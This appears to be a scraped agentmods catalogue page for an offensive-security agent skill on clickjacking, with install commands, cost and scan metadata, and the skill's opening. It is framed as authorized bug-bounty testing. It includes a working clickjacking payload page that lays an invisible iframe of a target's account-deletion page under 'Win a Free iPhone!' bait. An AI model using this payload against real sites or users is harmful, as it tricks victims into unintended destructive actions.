Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/clickjacking-ui-redressingWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/clickjacking-ui-redressing)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/clickjacking-ui-redressing"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/clickjacking-ui-redressing/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/clickjacking-ui-redressing"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/clickjacking-ui-redressing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.02362 |
| Opus 5.5 | $0.00022 | $0.00945 |
| Sonnet 5.5 | $0.00011 | $0.00472 |
| Haiku 4.5 | $0.00006 | $0.00236 |
Grade A, and why
clickjacking-ui-redressing scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to clickjacking-ui-redressing — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 211 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Clickjacking (UI Redressing)
When to Use
- When a target application lacks the
X-Frame-OptionsorContent-Security-Policy: frame-ancestorsHTTP response headers. - When you discover a state-changing action (e.g., a "Delete Account" button or "Transfer Funds" form) that does NOT require password re-authentication.
- To execute a client-side attack escalating a Missing Headers vulnerability into a high-impact action (Bug Bounty requirement).
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Detecting Framability
# Concept: If an application allows itself to be embedded inside an <iframe> on a
# completely different domain, it is vulnerable to UI redressing.
# 1. Check HTTP Response Headers of the target page
HTTP/1.1 200 OK
# Notice that these headers are MISSING:
# X-Frame-Options: DENY / SAMEORIGIN
# Content-Security-Policy: frame-ancestors 'none' / 'self'
# 2. Basic Test HTML
# Save this locally as test.html and open it in your browser.
<html>
<body>
<h1>Can I frame the target?</h1>
<iframe src="https://target.com/settings" width="800" height="600"></iframe>
</body>
</html>
# If target.com/settings successfully loads inside the iframe, Clickjacking is possible.
Phase 2: Exploitation Payload Construction
<!-- Concept: We must perfectly align our malicious "Click Here" button completely -->
<!-- ON TOP OF the victim's invisible "Delete Account" button inside the iframe. -->
<!-- We use CSS opacity and absolute positioning. -->
<!DOCTYPE html>
<html>
<head>
<style>
/* The invisible target iframe */
iframe {
position: absolute;
top: 0;
left: 0;
width: 1000px;
height: 800px;
opacity: 0.0001; /* Set to 0.5 when testing, 0.0001 for real attack */
z-index: 2; /* Iframe sits ON TOP of the bait button */
}
/* The visible bait the victim thinks they are clicking */
.bait-button {
position: absolute;
/* YOU MUST ADJUST THESE TO PERFECTLY ALIGN WITH THE IFRAME'S TARGET BUTTON */
top: 250px;
left: 100px;
z-index: 1; /* Bait sits UNDER the iframe */
font-size: 20px;
padding: 10px 20px;
background-color: blue;
color: white;
cursor: pointer;
}
</style>
</head>
<body>
<h1>Win a Free iPhone!</h1>
<div class="bait-button">Click to Claim Prize!</div>
<!-- The victim is authenticated on target.com, so the iframe loads their real profile -->
<iframe src="https://target.com/account/settings/delete"></iframe>
</body>
</html>
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 211 lines · 55 tokens per session scan A e444b93836f3
clickjacking-ui-redressing is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (13 stars, last pushed 6mo ago), licensed Apache-2.0. It adds 55 tokens to every session and 2,362 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 0 findings. It is 100% identical to clickjacking-ui-redressing, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
clickjacking-ui-redressing
Identify and exploit Clickjacking (UI Redressing) vulnerabilities where a malicious website iframes a target application, tricking victims into performing unintended actions (e.g., transferring funds, deleting accounts, or granting permissions) via hidden layers.
broken-object-level-authorization
Identify and exploit Broken Object Level Authorization (BOLA), historically known as Insecure Direct Object Reference (IDOR), in API architectures. Extremely common and critical flaw where an API fails to validate whether the currently authenticated user actually owns or retains permissions over the specifically…
http-request-smuggling-te-te
Exploit advanced HTTP Request Smuggling combining Transfer-Encoding vulnerabilities (TE.TE). By obscuring the Transfer-Encoding header, an attacker forces desynchronization between a frontend proxy (which processes the request one way) and the backend server (which processes it another way), allowing the smuggling of…
javascript-prototype-pollution
Identify and exploit Prototype Pollution vulnerabilities in JavaScript applications to achieve client-side Cross-Site Scripting (XSS), bypass authentication, or execute Remote Code Execution (RCE) on Node.js servers by manipulating the core Object prototype.
django-sql-injection
Identify and exploit SQL Injection vulnerabilities in Django applications, specifically focusing on edge cases involving raw querysets (RawSQL), improper use of .extra(), and poorly sanitized filters where Django's typical ORM protections are bypassed.
dom-based-xss
Exploit Document Object Model (DOM) Based Cross-Site Scripting (XSS) vulnerabilities. Unlike Reflected or Stored XSS, the attack payload is executed purely on the client-side as a result of modifying the DOM environment, often without the payload ever reaching the backend server.